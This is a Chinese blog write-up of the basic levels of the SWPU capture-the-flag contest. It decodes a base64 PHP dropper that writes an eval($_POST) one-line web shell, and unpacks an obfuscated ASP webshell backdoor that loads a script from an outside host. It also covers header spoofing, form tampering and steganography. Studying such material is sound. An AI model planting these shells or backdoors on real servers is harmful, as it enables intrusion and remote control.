- A+
显示不全请点击全屏阅读
西南石油第三届信息安全大赛,最近应该有很多朋友在玩,题目设计的很有意思.基础关基本要做完了,记录一下过程中所学.
本文是本人过关过程的一些记录,方便以后参考使用,西南石油信息安全大赛非常有意思,如果有朋友还没有参加过,建议先参加,然后再阅读本文.不然看完之后就失去参加的兴趣了,因为都已经知道答案了,就没啥意思了!参赛地址:http://www2.swpuwllm.com参赛只是为了学习,奖品神马的都是浮云,学到的东西比奖品更重要. 也感谢西南石油信息安全大赛的组织者,相当给力~第一关,源代码和其它的信息安全比赛一样,查看源码就可以找到答案。
第二关,base64 代码:
<?fputs(fopen(base64_decode(“bm92b2ljZS5waHA=”), “w”),
base64_decode(“PD9waHAgQGV2YWwoJF9QT1NUWyd0aGlzX2lzX3lpanVodWEnXSk7Pz4=”));?>,
看到有两段base64的编码
bm92b2ljZS5waHA= 这段解码后是:novoice.php
PD9waHAgQGV2YWwoJF9QT1NUWyd0aGlzX2lzX3lpanVodWEnXSk7Pz4= 这段解码后是:<?php @eval($_POST[‘this_is_yijuhua’]);?>
可以看到一句话的密码就是”this_is_yijuhua”. 题目中那段代码的主要作用是生成一句话文件novoice.php.在远程包含和getshell的时候一般会用到.
比如php168的远程包含漏洞和传说中dx2.5 getshell漏洞.
第三关,utf-7编码 +AGsAZQB5ADoAaQBhAG0AdQB0AGYANwBlAG4AYwBvAGQAZQBk- .第一次听到这个编码,以前听到最多的就是utf-8了.查了很多资料,
可以知道+和-中间的这段”AGsAZQB5ADoAaQBhAG0AdQB0AGYANwBlAG4AYwBvAGQAZQBk”是采用修正的base64进行编码的.
复制这段直接base64解码就可以知道key.
修正base64编码的计算 :将字符的 Unicode big endian 编码分成两个字节看待,然后计算字符的 Base64 编码,但不使用 “=” 进行补位。
维基百科utf-7相关说明:http://zh.wikipedia.org/wiki/UTF-7
第四关,js查看源代码发现有一段采用unicode编码的:
<script>eval(unescape(“%66%75%6E%63%74%69%6F%6E%20%43%61%69%64%61%6F%43%68%65%63%6B%28%29%0D%0A%7B%0D%0A%20%20
%20%20%20%76%61%72%20%4D%79%50%61%73%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64
%28%27%49%6E%63%61%6E%74%61%74%69%6F%6E%27%29%2E%76%61%6C%75%65%3B%0D%0A%20%20%20%20%20%69%66%28%22%22%2B%70%61%72%73
%65%49%6E%74%28%4D%79%50%61%73%73%29%20%3D%3D%20%4D%79%50%61%73%73%29%0D%0A%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20
%20%20%20%69%66%28%70%61%72%73%65%49%6E%74%28%4D%79%50%61%73%73%29%2B%37%39%38%37%38%39%3D%3D%31%30%30%30%30%30%30%29
%0D%0A%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%61%6C%65%72%74%28%27%u590D%u6D3B%u6210%u529F%uFF01%4B%45%59%u5C31%u662F%u590D%u6D3B%u5492%u8BED%uFF01%27%29%3B%0D%0A%20%20%20%20%20%20
%20%20%20%7D%65%6C%73%65%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%61%6C%65%72%74%28%27%u590D%u6D3B%u5931%u8D25%uFF01%u8BF7%u91CD%u65B0%u8F93%u5165%u590D%u6D3B%u5492%u8BED%27%29%3B%0D%0A%20%20%20%20%20
%20%20%20%20%20%20%20%20%64%6F%63%75%6D%65%6E%74%2E%47%65%74%5F%4B%65%79%2E%49%6E%63%61%6E%74%61%74%69%6F%6E%2E%76
%61%6C%75%65%20%3D%20%27%27%3B%0D%0A%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%7D%65%6C%73%65%7B%0D%0A%20
%20%20%20%20%20%20%20%20%61%6C%65%72%74%28%27%u590D%u6D3B%u5931%u8D25%uFF01%u8BF7%u91CD%u65B0%u8F93%u5165%u590D
%u6D3B%u5492%u8BED%27%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%64%6F%63%75%6D%65%6E%74%2E%47%65%74%5F%4B%65%79%2E
%49%6E%63%61%6E%74%61%74%69%6F%6E%2E%76%61%6C%75%65%20%3D%20%27%27%3B%0D%0A%20%20%20%20%20%7D%0D%0A%7D”));</script>
使用unicode解码之后看到如下一段关键代码:
var MyPass = document.getElementById(‘Incantation’).value;
if(“”+parseInt(MyPass) == MyPass)
{
if(parseInt(MyPass)+798789==1000000)
{
alert(‘复活成功!KEY就是复活咒语!’);
}else{
alert(‘复活失败!请重新输入复活咒语’);
document.Get_Key.Incantation.value = ”;
}
}else{
alert(‘复活失败!请重新输入复活咒语’);
document.Get_Key.Incantation.value = ”;
}
可以计算出MyPass的值为201211,芝麻开门之后就能获取到key。
第五关,抓包可以使用wsockexpert或者burp suite等等.抓包之后就能找到key.
第六关,hidden本地修改表单提交. 表单代码修改之后如下:
<form action="http://master.swpuwllm.com/hidden/index.asp?action=save" method="post" name="add"> <table borderColor=#cccccc cellSpacing=0 cellPadding=1 width="30%" align=center bgColor=#ffffff border=1> <tr> <td><TEXTAREA style="WIDTH: 397px; HEIGHT: 143px" name=content rows=8 cols=41></TEXTAREA></td> </tr> <tr> <td> <P align=center> <Input type=hidden value="caidao_admin" name=username> <Input style="WIDTH: 70px; HEIGHT: 20px" type=submit size=44 value=留言 name=Submit> <Input style="WIDTH: 70px; HEIGHT: 20px" type=reset value=重填 name=Submit></P></td> </tr> </table> </form> 保存为html文件,然后留言提交之后会看到key.本地修改提交在入侵渗透测试的时候也经常会用到. 第七关 referer主要需要用到http referer伪造的相关知识.用firefox插件Refcontrol就可以实现. 安装Refcontrol插件之后进行配置,如图:
然后在点击click here刷新就能看到key了. 第八关,proxy可以看到页面使用了x-forwarded-for来识别访问页面的客户端的真实IP. X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址 的HTTP请求头字段。 我们同样可以使用火狐firefox的插件x-forwarder-for header进行xff伪造. 配置如下:
第九关,linux的复制命令cp /Cardinal/YUI /home/kirito/local-memory/ 进行加密之后32位md5就是key. 第十关,shell分析查找asp webshell中的后门.查找发现有一段代码用到了chr()转换函数,代码如下: Asuna=chr(62)&chr(116)&chr(112)&chr(105)&chr(114)&chr(99)&chr(115)&chr(47)&chr(60)&chr(62)&chr(115)&chr(106) &chr(46)&chr(117)&chr(112)&chr(119)&chr(115)&chr(50)&chr(49)&chr(48)&chr(50)&chr(47)&chr(110)&chr(99)&chr(46) &chr(105)&chr(101)&chr(102)&chr(97)&chr(121)&chr(97)&chr(109)&chr(46)&chr(119)&chr(119)&chr(119)&chr(47) &chr(47)&chr(58)&chr(112)&chr(116)&chr(116)&chr(104)&chr(61)&chr(99)&chr(114)&chr(115)&chr(32)&chr(116) &chr(112)&chr(105)&chr(114)&chr(99)&chr(115)&chr(60) chr()转换函数的作用就是把括号中的ASCII码转换为对应的字符,对照ASCII码表转换之后这段代码如下: Asuna=>tpircs/<>sj.upws2102/nc.iefayam.www//:ptth=crs tpircs< 发现是一反向字符串,搜索Asuna,会发现如下代码: Kirito=StrReverse(Asuna) StrReverse()函数就是将字符串进行反向,因此 Kirito=<script src=http://www.mayafei.cn/2012swpu.js></script> 访问:http://www.mayafei.cn/2012swpu.js 就能看到js中的后门地址:http://www.mayafei.cn/2012swpu.php,再访问该地址就可以获取到key. 具体的后门代码作用大家可以研究研究. 第11关和第12关目前还不知道咋突破. 第13关,Search engine(搜索引擎),根据题目描述"不能被搜索出来的,即使是 搜索引擎 也不能", 熟悉SEO的朋友很容易就会想到通过robots.txt文件来禁止搜索引擎蜘蛛抓去一些目录和文件. 查看robots.txt文件在渗透的时候也可以起到一些作用,比如通过这个文件内容有可能知道网站的后台目录以及一些整站程序. 查看网站根目录下的该文件就可以找到第13关的key. 第14关,QR,看题目就会发现有一些规律,三角的图案是一样的.典型的二维码.目前我还不知道如何转换成图案扫描. 有童鞋说用excel把1和0分别用白色和黑色背景填充,然后截图再扫描解码.个人觉得这位童鞋非常有才,笨人有笨人的办法.^_^~ 第15关,hosts,只需要修改hosts文件,增加一条记录就可以了. 第16关,mail+images.下载下来的rar文件解压可以发现一个eml文件,eml文件可以使用foxmail或者outlook express导入. 然后就能看到那种meizhi.jpg. 保存在本地.根据自己知道的,首先想到使用copy命令把一张图片文件和文本文件等合成为图片文件,不影响图片正常打开. 然后百度到一篇文章,大概内容如下: copy 1.jpg+1.txt out1.jpg 以上命令生成的out1.jpg不能正常打开,同时查看源文件就能看到1.txt的内容.
copy /b 1.jpg+1.txt out1.jpg 以上命令生成的out1.jpg可以打开正常显示,但是查看源文件还是能看到1.txt的内容. 而本题中的图片用记事本打开完全看不到正常显示的内容. 然后看到文章中还有一种方法,就是先将1.txt压缩成rar文件,然后再用copy命令 copy /b 1.jpg+1.rar out1.jpg 这样合成的图片文件即可以正常显示,同时用记事本打开也无法看到正常的内容. 但是用winrar打开合成的out1.jpg就会发现有一个多余的文件. 尝试用winrar打开本关中下载到本地的图片,发现果然多了一个1.bmp的文件,打开之后就会看到key. 第17关,outguess,毫无思路,百度搜索outguess,发现是一个隐写软件,能够将图片文件和其它文件合成到一起. 同时也可以从合成的图片中提取出隐写的内容. 本关的提示只是2张图片,发现内容像素一样,但是文件大小不一样,猜测大的文件a.jpg应该包含本题的key. outguess的下载地址:http://www.outguess.org 是源代码,需要linux环境编译,我等小菜没有linux环境,就没有尝试.outguess用法:
$ outguess -k <PASSWORD> -d <EMBED.txt> <EMBED.jpg> <EMBEDDED.jpg>
解密: $ outguess -k <PASSWORD> -r <EMBEDDED.jpg> <OUTPUT.txt>
渗透关还在努力之中,未完待续..............
Tags:
如果您喜欢我的博客,欢迎点击图片定订阅到邮箱 也可以点击链接【订阅到鲜果】
如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡